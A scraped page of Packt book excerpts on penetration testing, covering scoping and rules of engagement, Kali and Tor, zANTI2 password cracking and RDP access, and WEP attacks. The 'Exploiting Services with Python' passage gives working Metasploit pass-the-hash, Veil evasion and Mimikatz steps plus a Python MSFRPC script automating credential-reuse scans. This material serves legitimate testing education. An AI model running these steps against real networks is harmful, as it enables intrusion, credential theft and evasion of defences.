Vulnerability The security weakness within a system that might allow attackers to exploit it and break the security of the device is called a vulnerability. For example, if a mobile device is stolen and it does not have the PIN or pass code enabled, the phone is vulnerable to data theft. Risk The intersection between asset (A), threat (T), and vulnerability (V) is a risk. However, a risk can be included along with the probability (P) of the threat occurrences to provide more value to the business. Risk = A x T x V x P These terms will help us understand the real risk to a given asset. Business will be benefited only if these risks are accurately assessed. Understanding threat, vulnerability, and risk is the first step in threat modeling. For a given application, no vulnerabilities or a vulnerability with no threats is considered to be a low risk. Summary In this article, we saw that mobile devices are susceptible to attacks through various threats, which exist due to the lack of sufficient security measures that can be implemented at various stages of the development of a mobile application. It is necessary to understand how these threats are manifested and learn how to test and mitigate them effectively. Proper knowledge of the underlying architecture and the tools available for the testing of mobile applications will help developers and security testers alike in order to protect end users from attackers who may be attempting to leverage these vulnerabilities.
Read more
  • 0
  • 0
  • 3153

article-image-assessment-planning
Packt
04 Jan 2016
12 min read
Save for later

Assessment Planning

Packt
04 Jan 2016
12 min read
In this article by Kevin Cardwell the author of the book Advanced Penetration Testing for Highly-Secured Environments - Second Edition, discusses the test environment and how we have selected the chosen platform. We will discuss the following: Introduction to advanced penetration testing How to successfully scope your testing (For more resources related to this topic, see here.) Introduction to advanced penetration testing Penetration testing is necessary to determine the true attack footprint of your environment. It may often be confused with vulnerability assessment and thus it is important that the differences should be fully explained to your clients. Vulnerability assessments Vulnerability assessments are necessary for discovering potential vulnerabilities throughout the environment. There are many tools available that automate this process so that even an inexperienced security professional or administrator can effectively determine the security posture of their environment. Depending on scope, additional manual testing may also be required. Full exploitation of systems and services is not generally in scope for a normal vulnerability assessment engagement. Systems are typically enumerated and evaluated for vulnerabilities, and testing can often be done with or without authentication. Most vulnerability management and scanning solutions provide actionable reports that detail mitigation strategies such as applying missing patches, or correcting insecure system configurations. Penetration testing Penetration testing expands upon vulnerability assessment efforts by introducing exploitation into the mix The risk of accidentally causing an unintentional denial of service or other outage is moderately higher when conducting a penetration test than it is when conducting vulnerability assessments. To an extent, this can be mitigated by proper planning, and a solid understanding of the technologies involved during the testing process. Thus, it is important that the penetration tester continually updates and refines the necessary skills. Penetration testing allows the business to understand if the mitigation strategies employed are actually working as expected; it essentially takes the guesswork out of the equation. The penetration tester will be expected to emulate the actions that an attacker would attempt and will be challenged with proving that they were able to compromise the critical systems targeted. The most successful penetration tests result in the penetration tester being able to prove without a doubt that the vulnerabilities that are found will lead to a significant loss of revenue unless properly addressed. Think of the impact that you would have if you could prove to the client that practically anyone in the world has easy access to their most confidential information! Penetration testing requires a higher skill level than is needed for vulnerability analysis. This generally means that the price of a penetration test will be much higher than that of a vulnerability analysis. If you are unable to penetrate the network you will be ensuring your clientele that their systems are secure to the best of your knowledge. If you want to be able to sleep soundly at night, I recommend that you go above and beyond in verifying the security of your clients. Advanced penetration testing Some environments will be more secured than others. You will be faced with environments that use: Effective patch management procedures Managed system configuration hardening policies Multi-layered DMZ's Centralized security log management Host-based security controls Network intrusion detection or prevention systems Wireless intrusion detection or prevention systems Web application intrusion detection or prevention systems Effective use of these controls increases the difficulty level of a penetration test significantly. Clients need to have complete confidence that these security mechanisms and procedures are able to protect the integrity, confidentiality, and availability of their systems. They also need to understand that at times the reason an attacker is able to compromise a system is due to configuration errors, or poorly designed IT architecture. Note that there is no such thing as a panacea in security. As penetration testers, it is our duty to look at all angles of the problem and make the client aware of anything that allows an attacker to adversely affect their business. Advanced penetration testing goes above and beyond standard penetration testing by taking advantage of the latest security research and exploitation methods available. The goal should be to prove that sensitive data and systems are protected even from a targeted attack, and if that is not the case, to ensure that the client is provided with the proper instruction on what needs to be changed to make it so. A penetration test is a snapshot of the current security posture. Penetration testing should be performed on a continual basis. Many exploitation methods are poorly documented, frequently hard to use, and require hands-on experience to effectively and efficiently execute. At DefCon 19 Bruce "Grymoire" Barnett provided an excellent presentation on "Deceptive Hacking". In this presentation, he discussed how hackers use many of the very same techniques used by magicians. This is exactly the tenacity that penetration testers must assume as well. Only through dedication, effort, practice, and the willingness to explore unknown areas will penetration testers be able to mimic the targeted attack types that a malicious hacker would attempt in the wild. Often times you will be required to work on these penetration tests as part of a team and will need to know how to use the tools that are available to make this process more endurable and efficient. This is yet another challenge presented to today's pentesters. Working in a silo is just not an option when your scope restricts you to a very limited testing period. In some situations, companies may use non-standard methods of securing their data, which makes your job even more difficult. The complexity of their security systems working in tandem with each other may actually be the weakest link in their security strategy. The likelihood of finding exploitable vulnerabilities is directly proportional to the complexity of the environment being tested. Before testing begins Before we commence with testing, there are requirements that must be taken into consideration. You will need to determine the proper scoping of the test, timeframes and restrictions, the type of testing (Whitebox, Blackbox), and how to deal with third-party equipment and IP space. Determining scope Before you can accurately determine the scope of the test, you will need to gather as much information as possible. It is critical that the following is fully understood prior to starting testing procedures: Who has the authority to authorize testing? What is the purpose of the test? What is the proposed timeframe for the testing? Are there any restrictions as to when the testing can be performed? Does your customer understand the difference between a vulnerability assessment and a penetration test? Will you be conducting this test with, or without cooperation of the IT Security Operations Team? Are you testing their effectiveness? Is social engineering permitted? How about denial-of-service attacks? Are you able to test physical security measures used to secure servers, critical data storage, or anything else that requires physical access? For example, lock picking, impersonating an employee to gain entry into a building, or just generally walking into areas that the average unaffiliated person should not have access to. Are you allowed to see the network documentation or to be informed of the network architecture prior to testing to speed things along? (Not necessarily recommended as this may instill doubt for the value of your findings. Most businesses do not expect this to be easy information to determine on your own.) What are the IP ranges that you are allowed to test against? There are laws against scanning and testing systems without proper permissions. Be extremely diligent when ensuring that these devices and ranges actually belong to your client or you may be in danger of facing legal ramifications. What are the physical locations of the company? This is more valuable to you as a tester if social engineering is permitted because it ensures that you are at the sanctioned buildings when testing. If time permits, you should let your clients know if you were able to access any of this information publicly in case they were under the impression that their locations were secret or difficult to find. What to do if there is a problem or if the initial goal of the test has been reached. Will you continue to test to find more entries or is the testing over? This part is critical and ties into the question of why the customer wants a penetration test in the first place. Are there legal implications that you need to be aware of such as systems that are in different countries, and so on? Not all countries have the same laws when it comes to penetration testing. Will additional permission be required once a vulnerability has been exploited? This is important when performing tests on segmented networks. The client may not be aware that you can use internal systems as pivot points to delve deeper within their network. How are databases to be handled? Are you allowed to add records, users, and so on? This listing is not all-inclusive and you may need to add items to the list depending on the requirements of your clients. Much of this data can be gathered directly from the client, but some will have to be handled by your team. If there are legal concerns, it is recommended that you seek legal counsel to ensure you fully understand the implications of your testing. It is better to have too much information than not enough, once the time comes to begin testing. In any case, you should always verify for yourself that the information you have been given is accurate. You do not want to find out that the systems you have been accessing do not actually fall under the authority of the client! It is of utmost importance to gain proper authorization in writing before accessing any of your clients systems. Failure to do so may result in legal action and possibly jail. Use proper judgment! You should also consider that errors and omissions insurance is a necessity when performing penetration testing. Setting limits–nothing lasts forever Setting proper limitations is essential if you want to be successful at performing penetration testing. Your clients need to understand the full ramifications involved, and should be made aware of any residual costs incurred, if additional services beyond those listed within the contract are needed. Be sure to set defined start and end dates for your services. Clearly define the rules of engagement and include IP ranges, buildings, hours, and so on that may need to be tested. If it is not in your rules of engagement documentation, it should not be tested. Meetings should be predefined prior to the start of testing, and the customer should know exactly what your deliverables will be. Rules of engagement documentation Every penetration test will need to start with a rules of engagement document that all involved parties must have. This document should at a minimum cover several items: Proper permissions by appropriate personnel. Begin and end dates for your testing. The type of testing that will be performed. Limitations of testing. What type of testing is permitted? DDOS? Full penetration? Social engineering? These questions need to be addressed in detail. Can intrusive tests as well as unobtrusive testing be performed? Does your client expect cleanup to be performed afterwards or is this a stage environment that will be completely rebuilt after testing has been completed? IP ranges and physical locations to be tested. How the report will be transmitted at the end of the test? (Use secure means of transmission!) Which tools will be used during the test? Do not limit yourself to only one specific tool; it may be beneficial to provide a list of the primary toolset to avoid confusion in the future. For example, we will use the tools found in the most recent edition of the Kali Suite. Let your client know how any illegal data that is found during testing would be handled: law enforcement should be contacted prior to the client. Please be sure to understand fully the laws in this regard before conducting your test. How sensitive information will be handled: you should not be downloading sensitive customer information; there are other methods of proving that the clients' data is not secured. This is especially important when regulated data is a concern. Important contact information for both your team and for the key employees of the company you are testing. An agreement of what you will do to ensure the customer's system information does not remain on unsecured laptops and desktops used during testing. Will you need to properly scrub your machine after this testing? What do you plan to do with the information you gathered? Is it to be kept somewhere for future testing? Make sure this has been addressed before you start testing, not after. The rules of engagement should contain all the details that are needed to determine the scope of the assessment. Any questions should have been answered prior to drafting your rules of engagement to ensure there are no misunderstandings once the time comes to test. Your team members need to keep a copy of this signed document on their person at all times when performing the test. Imagine you have been hired to assert the security posture of a client's wireless network and you are stealthily creeping along the parking lot on private property with your gigantic directional Wi-Fi antenna and a laptop. If someone witnesses you in this act, they will probably be concerned and call the authorities. You will need to have something on you that documents you have a legitimate reason to be there. This is one time where having the contact information of the business leaders that hired you will come in extremely handy! Summary In this article, we focused on all that is necessary to prepare and plan for a successful penetration test. We discussed the differences between penetration testing and vulnerability assessments. The steps involved with proper scoping were detailed, as were the necessary steps to ensure all information has been gathered prior to testing. One thing to remember is that proper scoping and planning is just as important as ensuring you test against the latest and greatest vulnerabilities. Resources for Article: Further resources on this subject: Penetration Testing[article] Penetration Testing and Setup[article] BackTrack 4: Security with Penetration Testing Methodology[article]
Read more
  • 0
  • 0
  • 1612

article-image-exploiting-services-python
Packt
24 Sep 2015
15 min read
Save for later

Exploiting Services with Python

Packt
24 Sep 2015
15 min read
In this article by Christopher Duffy author of the book Learning Python Penetration Testing, we will learn about one of the big misconceptions with testing for the synchronization of account credentials today, is the prevalence of exploitable. You will still find vulnerabilities that can be exploited by overflowing the stack or heap, they are just significantly reduced or more complex. (For more resources related to this topic, see here.) Testing for the synchronization of account credentials With these results, we can determine if any of these credentials are reused in the network. We know there are Windows hosts primarily in the target network, but we need to identify which ones have port 445 open. We can then try and determine, which accounts might grant us access, when the following command is run: nmap -sS -vvv -p445 192.168.195.0/24 -oG output Then, parse the results for open ports with the following command, which will provide a file of target hosts with Server Message Block (SMB) enabled. grep 445/open output| cut -d" " -f2 >> smb_hosts The passwords can be extracted directly from John and written a password file that can be used for follow-on service attacks. john --show unshadowed |cut -d: -f2|grep -v " " > passwords Always test on a single host the first time you run this type of attack. In this example, we are using the sys account, but it is more common to use the root account or similar administrative accounts to test password reuse (synchronization) in an environment. The following attack using auxiliary/scanner/smb/smb_enumusers_domain will check for two things. It will identify what systems this account has access to, and the relevant users that are currently logged into the system. In the second portion of this example, we will highlight how to identify the accounts that are actually privileged and part of the Domain. There are good points and bad points about the smb_enumusers_domain module. The bad points are that you cannot load multiple usernames and passwords into it. That capability is reserved for the smb_login module. The problem with smb_login is that it is extremely noisy, as many signature detection tools flag on this method of testing for logins. The third module smb_enumusers, which can be used, but it only provides details related to locale users as it identifies users based on the Security Accounts Manager (SAM) file contents. So, if a user has a Domain account and has logged into the box, the smb_enumusers module will not identify them. So, understand each module and its limitations when identifying targets to laterally move. We are going to highlight how to configure the smb_enumusers_domain module and execute it. This will show an example of gaining access to a vulnerable host and then verifying DA account membership. This information can then be used to identify where a DA is located so that Mimikatz can be used to extract credentials. For this example, we are going to use a custom exploit using Veil as well, to attempt to bypass a resident Host Intrusion Prevention System (HIPS). More information about Veil can be found here at https://github.com/Veil-Framework/Veil-Evasion.git. So, we configure the module to use the password batman, and we target the local administrator account on the system. This can be changed, but often the default is used. Since it is the local administrator, the Domain is set to WORKGROUP. The following figure shows the configuration of the module: Before running commands such as these, make sure to use spool, to output the results to a log file so you can go back and review the results. As you can see in the following figure, the account provided details about who was logged into the system. This means that there are logged in users relevant to the returned account names and that the local administrator account will work on that system. This means this system is ripe for compromise by a Pass-the-Hash attack (PtH). The psexec module allows you to either pass the extracted Local Area Network Manager (LM): New Technology LM (NTLM) hash and username combination or just the username password pair to get access. To begin with, we setup a custom multi/handler to catch the custom exploit we generated by Veil as shownfollowing. Keep in mind, I used 443 for the local port because it bypasses most HIPS and the local host will change depending on your host. Now, we need to generate custom payloads with Veil to be used with the psexec module. You can do this by navigating to the Veil-Evasion installation directory and running it with python Veil-Evasion.py. Veil has a good number of payloads that can be generated with a variety of obfuscation or protection mechanisms, to see the specific payload you want to use, to execute the list command. You can select the payload by typing in the number of the payload or the name. As an example, run the following commands to generate a C Sharp stager that does not use shell code, keep in mind this requires specific versions of .NET on the target box to work. use cs/meterpreter/rev_tcp set LPORT 443 set LHOST 192.168.195.160 set use_arya Y generate There are two components to a typical payload, the stager and the stage. A stager sets up the network connection between the attacker and the victim. Payloads that often use native system languages can be purely stager. The second part is the stage, which are the components that are downloaded by the stager. These can include things like your Meterpreter. If both items are combined, they are called a single; think about when you create your malicious Universal Serial Bus (USB) drives, these are often singles. The output will be an executable, that will spawn an encrypted reverse HyperText Transfer Protocol Secure (HTTPS) Meterpreter. The payload can be tested with the script checkvt, which safely verifies if the payload would be picked up by most HIPS solutions. It does this without uploading it to Virus Total, and in turn does not add the payload to the database, which many HIPS providers pull from. Instead, it compares the hash of the payload to those already in the database. Now, we can setup the psexec module to reference the custom payload for execution. Update the psexec module, so that it uses the custom payload generated by Veil-Evasion, via set EXE::Custom and disable the automatic payload handler with set DisablePayloadHandler true, as shown following: Exploit the target box, and then attempt to identify who the DAs are in the Domain. This can be done in one of two ways, either by using the post/windows/gather/enum_domain_group_users module or the following command from shell access. net group "Domain Admins" We can then Grep through the spooled output file from the previously run module to locate relevant systems that might have these Das logged into. When gaining access to one of those systems, there would likely be DA tokens or credentials in memory, which can be extracted and reused. The following command is an example of how to analyze the log file for these types of entries. grep <username> <spoofile.log> As you can see, this very simple exploit path allows you to identify where the DAs are. Once you are on the system all you have to do is load mimikatz and extract the credentials typically with the wdigest command from the established Meterpreter session. Of course, this means the system has to be newer than Windows 2000, and have active credentials in memory. If not, it will take additional effort and research to move forward. To highlight this, we use our established session to extract credentials with Mimikatz as you can see following. The credentials are in memory and since the target box was Windows XP machine, we have no conflicts and no additional research is required. In addition to the intelligence we have gathered from extracting the active DA list from the system, we now have another set of confirmed credentials that can be used. Rinsing and repeating this method of attack allows you to quickly move laterally around the network till you identify viable targets. Automating the exploit train with Python This exploit train is relatively simple, but we can automate a portion of this with the Metasploit Remote Procedure Call (MSFRPC). This script will use the nmap library to scan for active ports of 445, then generate a list of targets to test using a username and password passed via argument to the script. The script will use the same smb_enumusers_domain module to identify boxes that have the credentials reused and other viable users logged into them. First, we need to install SpiderLabs msfrpc library for Python. This library can be found here at https://github.com/SpiderLabs/msfrpc.git. The script we are creating uses the netifaces library to identify what interface IP addresses belong to your host. It then scans for port 445 the SMB port on the IP address, range, or the Classes Inter Domain Routing (CIDR) address. It eliminates any IP addresses that belong to your interface and then tests the credentials using the Metasploit module auxiliary/scanner/smb/smb_enumusers_domain. At the same time, it verifies what users are logged onto the system. The outputs of this script in addition to real time response are two files, a log file that contains all the responses, and a file that holds the IP addresses for all the hosts that have SMB services. This Metasploit module takes advantage of RPCDCE, which does not run on port 445, but we are verifying that the service is available for follow-on exploitation. This file could then be fed back into the script, if you as an attacker find other credential sets to test as shown following: Lastly, the script can be passed hashes directly just like the Metasploit module as shown following: The output will be slightly different for each running of the script, depending on the console identifier you grab to execute the command. The only real difference will be the additional banner items typical with a Metasploit console initiation. Now there are a couple things that have to be stated, yes you could just generate a resource file, but when you start getting into organizations that have millions of IP addresses, this becomes unmanageable. Also the MSFRPC can have resource files fed directly into it as well, but it can significantly slow the process. If you want to compare, rewrite this script to do the same test as the previous ssh_login.py script you wrote, but with direct MSFRPC integration. Like all scripts libraries are needed to be established, most of these you are already familiar with, the newest one relates to the MSFRPC by SpiderLabs. The required libraries for this script can be seen as follows: import os, argparse, sys, time try: import msfrpc except: sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git") try: import nmap except: sys.exit("[!] Install the nmap library: pip install python- nmap") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces") We then build a module, to identify relevant targets that are going to have the auxiliary module run against it. First, we setup the constructors and the passed parameters. Notice that we have two service names to test against for this script, microsoft-ds and netbios-ssn, as either one could represent port 445 based on the nmap results. def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): hostlist = [] pre_pend = "smb" service_name = "microsoft-ds" service_name2 = "netbios-ssn" protocol = "tcp" port_state = "open" bufsize = 0 hosts_output = "%s/%s_hosts" % (dir, pre_pend) After which, we configure the nmap scanner to scan for details either by file or by command line. Notice that the hostlist is a string of all the addresses loaded by the file, and they are separated by spaces. The ipfile is opened and read and then all newlines are replaced with spaces as they are loaded into the string. This is a requirement for the specific hosts argument of the nmap library. if ipfile != None: if verbose > 0: print("[*] Scanning for hosts from file %s") % (ipfile) with open(ipfile) as f: hostlist = f.read().replace('n',' ') scanner.scan(hosts=hostlist, ports=port_num) else: if verbose > 0: print("[*] Scanning for host(s) %s") % (ips) scanner.scan(ips, port_num) open(hosts_output, 'w').close() hostlist=[] if scanner.all_hosts(): e = open(hosts_output, 'a', bufsize) else: sys.exit("[!] No viable targets were found!") The IP addresses for all of the interfaces on the attack system are removed from the test pool. for host in scanner.all_hosts(): for k,v in ifaces.iteritems(): if v['addr'] == host: print("[-] Removing %s from target list since it belongs to your interface!") % (host) host = None Finally, the details are then written to the relevant output file and python lists, and then returned to the original call origin. if host != None: e = open(hosts_output, 'a', bufsize) if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']: if port_state in scanner[host][protocol][int(port_num)]['state']: if verbose > 0: print("[+] Adding host %s to %s since the service is active on %s") % (host, hosts_output, port_num) hostdata=host + "n" e.write(hostdata) hostlist.append(host) else: if verbose > 0: print("[-] Host %s is not being added to %s since the service is not active on %s") % (host, hosts_output, port_num) if not scanner.all_hosts(): e.closed if hosts_output: return hosts_output, hostlist The next function creates the actual command that will be executed; this function will be called for each host the scan returned back as a potential target. def build_command(verbose, user, passwd, dom, port, ip): module = "auxiliary/scanner/smb/smb_enumusers_domain" command = '''use ''' + module + ''' set RHOSTS ''' + ip + ''' set SMBUser ''' + user + ''' set SMBPass ''' + passwd + ''' set SMBDomain ''' + dom +''' run ''' return command, module The last function actually initiates the connection with the MSFRPC and executes the relevant command per specific host. def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False The script creates a connection with the MSFRPC and creates console then tracks it by a specific console_id. Do not forget, the msfconsole can have multiple sessions, and as such we have to track our session to a console_id. client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id) The script then iterates over the list of IP addresses that were confirmed to have an active SMB service. The script then creates the necessary commands for each of those IP addresses. for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip)) The command is then written to the console and we wait for the results. client.call('console.write',[console_id, command]) time.sleep(1) while done != True: We await the results for each command execution and verify the data that has been returned and that the console is not still running. If it is, we delay the reading of the data. Once it has completed, the results are written in the specified output file. result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True We close the file and destroy the console to clean up the work we had done. e.closed client.call('console.destroy',[console_id]) The final pieces of the script are related to setting up the arguments, setting up the constructors and calling the modules. These components are similar to previous scripts and have not been included here for the sake of space, but the details can be found at the previously mentioned location on GitHub. The last requirement is loading of the msgrpc at the msfconsole with the specific password that we want. So launch the msfconsole and then execute the following within it. load msgrpc Pass=msfrpcpassword The command was not mistyped, Metasploit has moved to msgrpc verses msfrpc, but everyone still refers to it as msfrpc. The big difference is the msgrpc library uses POST requests to send data while msfrpc used eXtensible Markup Language (XML). All of this can be automated with resource files to set up the service. Summary In this article, we highlighted a manner in which you can move through a sample environment. Specifically, how to exploit a relative box, escalate privileges, and extract additional credentials. From that position, we identified other viable hosts we could laterally move into and the users who were currently logged into them. We generated custom payloads with the Veil Framework to bypass HIPS, and executed a PtH attack. This allowed us to extract other credentials from memory with the tool Mimikatz. We then automated the identification of viable secondary targets and the users logged into them with Python and MSFRPC. Resources for Article: Further resources on this subject: Basics of Jupyter Notebook and Python[article] Scraping the Data[article] Modeling complex functions with artificial neural networks [article]
Read more
  • 0
  • 0
  • 8874

article-image-introduction-penetration-testing-and-kali-linux
Packt
22 Sep 2015
4 min read
Save for later

Introduction to Penetration Testing and Kali Linux

Packt
22 Sep 2015
4 min read
 In this article by Juned A Ansari, author of the book, Web Penetration Testing with Kali Linux, Second Edition, the author wants us to learn about the following topics: Introduction to penetration testing An Overview of Kali Linux Using Tor for penetration testing (For more resources related to this topic, see here.) Introduction to penetration testing Penetration testing or Ethical hacking is a proactive way of testing your web applications by simulating an attack that's similar to a real attack that could occur on any given day. We will use the tools provided in Kali Linux to accomplish this. Kali Linux is the rebranded version of Backtrack and is now based on Debian-derived Linux distribution. It comes preinstalled with a large list of popular hacking tools that are ready to use with all the prerequisites installed. We will dwell deep into the tools that would help Pentest web applications, and also attack websites in a lab vulnerable to major flaws found in real world web applications. An Overview of Kali Linux Kali Linux is security-focused Linux distribution based on Debian. It's a rebranded version of the famous Linux distribution known as Backtrack, which came with a huge repository of open source hacking tools for network, wireless, and web application penetration testing. Although Kali Linux contains most of the tools from Backtrack, the main aim of Kali Linux is to make it portable so that it can be installed on devices based on the ARM architectures, such as tablets and Chromebook, which makes the tools available at your disposal with much ease. Using open source hacking tools comes with a major drawback. They contain a whole lot of dependencies when installed on Linux, and they need to be installed in a predefined sequence; authors of some tools have not released accurate documentation, which makes our life difficult. Kali Linux simplifies this process; it contains many tools preinstalled with all the dependencies and are in ready-to-use condition so that you can pay more attention for the actual attack and not on installing the tool. Updates for tools installed in Kali Linux are more frequently released, which helps you to keep the tools up to date. A noncommercial toolkit that has all the major hacking tools preinstalled to test real-world networks and applications is a dream of every ethical hacker and the authors of Kali Linux make every effort to make our life easy, which enables us to spend more time on finding the actual flaws rather than building a toolkit. Using Tor for penetration testing The main aim of a penetration test is to hack into a web application in a way that a real-world malicious hacker would do it. Tor provides an interesting option to emulate the steps that a black hat hacker uses to protect his identity and location. Although an ethical hacker trying to improve the security of a web application should be not be concerned about hiding his location, Tor will give an additional option of testing the edge security systems such as network firewalls, web application firewalls, and IPS devices. Black hat hackers try every method to protect their location and true identity; they do not use a permanent IP address and constantly change it to fool cybercrime investigators. You will find port scanning request from a different range of IP addresses, and the actual exploitation having the source IP address that you edge security systems are logging for the first time. With the necessary written approval from the client, you can use Tor to emulate an attacker by connecting to the web application from an unknown IP address that the system does not usually see connections from. Using Tor makes it more difficult to trace back the intrusion attempt to the actual attacker. Tor uses a virtual circuit of interconnected network relays to bounce encrypted data packets. The encryption is multilayered and the final network relay releasing the data to the public Internet cannot identify the source of the communication as the entire packet was encrypted and only a part of it is decrypted at each node. The destination computer sees the final exit point of the data packet as the source of the communication, thus protecting the real identify and location of the user. The following figure shows the working of Tor: Summary This article served as an introduction to penetration testing of web application and Kali Linux. At the end, we looked at how to use Tor for penetration testing. Resources for Article: Further resources on this subject: An Introduction to WEP[article] WLAN Encryption Flaws[article] What is Kali Linux [article]
Read more
  • 0
  • 0
  • 5262

article-image-connecting-open-ports
Packt
31 Aug 2015
6 min read
Save for later

Connecting to Open Ports

Packt
31 Aug 2015
6 min read
 Miroslav Vitula, the author of the book Learning zANTI2 for Android Pentesting, penned this article on Connecting to Open Ports, focusing on cracking passwords and setting up a remote desktop connection. Let's delve into the topics. (For more resources related to this topic, see here.) Cracking passwords THC Hydra is one of the best-known login crackers, supports numerous protocols, is flexible, and very fast. Hydra supports more than 30 protocols, including HTTP GET, HTTP HEAD, Oracle, pcAnywhere, rlogin, Telnet, SSH (v1 and v2 as well), and many, many more. As you might guess, THC Hydra is also implemented in zANTI2 and it eventually becomes an integral part of the app for its high functionality and usability. The zANTI2 developers named this section Password Complexity Audit and it is located under Attack Actions after a target is selected: After selecting this option, you've probably noticed there are several types of attack. First, there are multiple dictionaries: Small, Optimized, Big, and a Huge dictionary that contains the highest amount of usernames and passwords. To clarify, a dictionary attack is a method of breaking into a password-protected computer, service, or server by entering every word in a dictionary file as a username/password. Unlike a brute force attack, where any possible combinations are tried, a dictionary attack uses only those possibilities that are deemed most likely to succeed. Files used for dictionary attacks (also called wordlists) can be found anywhere on the Internet, starting from basic ones to huge ones containing more than 900,000,000 words for WPA2 WiFi cracking. zANTI2 also lets you use a custom wordlist for the attack: Apart from dictionary attacks, there is an Incremental option, which is used for brute force attacks. This attempts to guess the right combination using a custom range of letters/numbers: To set up the method properly, ensure the cracking options are correctly set. The area of searched combinations is defined by min-max charset, where min stands for minimum length of the password, max for maximum length, and charset for character set, which in our case will be defined as lowercase letters. The Automatic Mode, as the description says, automatically matches the list of protocols with the open ports on the target. To select a custom protocol manually, simply disable the Automatic Mode and select the protocol you want to perform the attack on: In our case that would be the SSH protocol for cracking a password used to establish the connection on port 22. Since incremental is a brute force method, this might take an extremely long time to find the right combination. For instance, the password zANTI2-hacks would take about 350 thousand years for a desktop PC to crack; there are 77 character combinations and 43 sextillion possible combinations. Therefore, it is generally better to use dictionary attacks for cracking passwords that might be longer than just a few characters. However, if you have a few thousand years to spare, feel free to use the brute force method. If everything went fine, you should now be able to view the access password with the username. You can easily connect to the target by tapping the finished result using one of the installed SSH clients: When connected, it's all yours. All Linux commands can be executed using the app and you now have the power to list directories, change the password, and more. Although connecting to port 22 might sound spicy, there is more to be discovered. A remote desktop connection Microsoft has made a handy feature called remote desktop. As the title suggests, this lets an ordinary user access his home computer when he is away, or be used for managing a server through a network. This is a great sign that we can intercept this connection and exploit an open port to set up a remote desktop connection between our mobile phone and a target. There is, however, one requirement. Since the RDP (Remote Desktop Protocol) port 3389 isn't open by default, a user has to allow connections from other computers. This option can be set in the control panel of Windows, and only then is port 3389 accessible. If the option Allow remote connections to this computer is ticked on the victim's machine, we're good to go. This will leave the 3389 port open and listening for incoming broadcasts, including the ones from malicious attackers. If we run a quick port discovery on the target, the remote desktop port with number 3389 will pop up. This is a good sign for us, indicating that this port is open and listening: Tap the port (ms-wbt-server). You will be asked for login credentials once again. Tap GO. Now, if you haven't got any remote desktop clients installed, zANTI2 will redirect you to Google Play to download one—the Parallels 2X RDP. This application, as you can tell, is capable of establishing remote desktop access from your Android device. It is stable, fast, and works very well. After downloading the application, go back to zANTI2 and connect to the port once again. You will now be redirected directly to the app and a connection will be established immediately. As you can see in the following screenshot, here's my computer—I'm currently working on the article! Apart from a simplified Windows user interface (using a basic XP look with no transparent bars and such), it is basically the same and you can take control over the whole system. The Parallels 2X RDP client offers a comfortable and easy way to move the mouse and use the keyboard. However, while connecting to port 445 a victim has no idea about an intruder accessing the files on his computer; connecting to this port will log the current user out from the current session. However, if the remote desktop is set to allow multiple sessions at once, it is possible for a victim to see what the attacker currently controls. The quality seems to be good, although the resolution  is only 804 x 496 pixels 32-bit color depth. Despite these conditions, it is still easy to access folders, view files, or open applications. As we can see in the practical demonstration, service ports should be accessible only by the authorized systems, not by anyone else. It is also a good way to teach you to secure login credentials on your machine to protect yourself not only from people behind your back but also mainly from people on the network. Summary In this article, we showed how a connection to these ports is established, how to crack password-protected ports, and how to access them afterwards using tools like ConnectBot or the remote desktop client. Resources for Article: Further resources on this subject: Saying Hello to Unity and Android[article] Speeding up Gradle builds for Android[article] Android and UDOO for Home Automation [article]
Read more
  • 0
  • 0
  • 5402
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at $19.99/month. Cancel anytime
article-image-what-we-can-learn-attacks-wep-protocol
Packt
12 Aug 2015
4 min read
Save for later

What we can learn from attacks on the WEP Protocol

Packt
12 Aug 2015
4 min read
In the past years, many types of attacks on the WEP protocol have been undertaken. Being successful with such an attack is an important milestone for anyone who wants to undertake penetration tests of wireless networks. In this article by Marco Alamanni, the author of Kali Linux Wireless Penetration Testing Essentials, we will take a look at the basics and the most common types of WEP protocols. What is the WEP protocol? The WEP protocol was introduced with the original 802.11 standard as a means to provide authentication and encryption to wireless LAN implementations. It is based on the Rivest Cipher 4 (RC4) stream cypher with a Pre-shared Secret Key (PSK) of 40 or 104 bits, depending on the implementation. A 24-bit pseudorandom Initialization Vector (IV) is concatenated with the pre-shared key to generate the per-packet keystream used by RC4 for the actual encryption and decryption process. Thus, the resulting keystream could be 64 or 128 bits long. In the encryption phase, the keystream is encrypted with the XOR cypher with the plaintext data to obtain the encrypted data. While in the decryption phase, the encrypted data is XOR-encrypted with the keystream to obtain the plaintext data. The encryption process is shown in the following diagram: Attacks against WEP and why do they occur? WEP is an insecure protocol and has been deprecated by the Wi-Fi Alliance. It suffers from various vulnerabilities related to the generation of the keystreams, to the use of IVs (initialization vectors), and to the length of the keys. The IV is used to add randomness to the keystream, trying to avoid the reuse of the same keystream to encrypt different packets. This purpose has not been accomplished in the design of WEP because the IV is only 24 bits long (with 2^24 =16,777,216 possible values) and it is transmitted in clear text within each frame. Thus, after a certain period of time (depending on the network traffic), the same IV and consequently the same keystream will be reused, allowing the attacker to collect the relative cypher texts and perform statistical attacks to recover plain texts and the key. FMS attacks on WEP The first well-known attack against WEP was the Fluhrer, Mantin, and Shamir (FMS) attack back in 2001. The FMS attack relies on the way WEP generates the keystreams and on the fact that it also uses weak IV to generate weak keystreams, making it possible for an attacker to collect a sufficient number of packets encrypted with these keys, to analyze them, and recover the key. The number of IVs to be collected to complete the FMS attack is about 250,000 for 40-bit keys and 1,500,000 for 104-bit keys. The FMS attack has been enhanced by Korek, improving its performance. Andreas Klein found more correlations between the RC4 keystream and the key than the ones discovered by Fluhrer, Mantin, and Shamir, which can be used to crack the WEP key. PTW attacks on WEP In 2007, 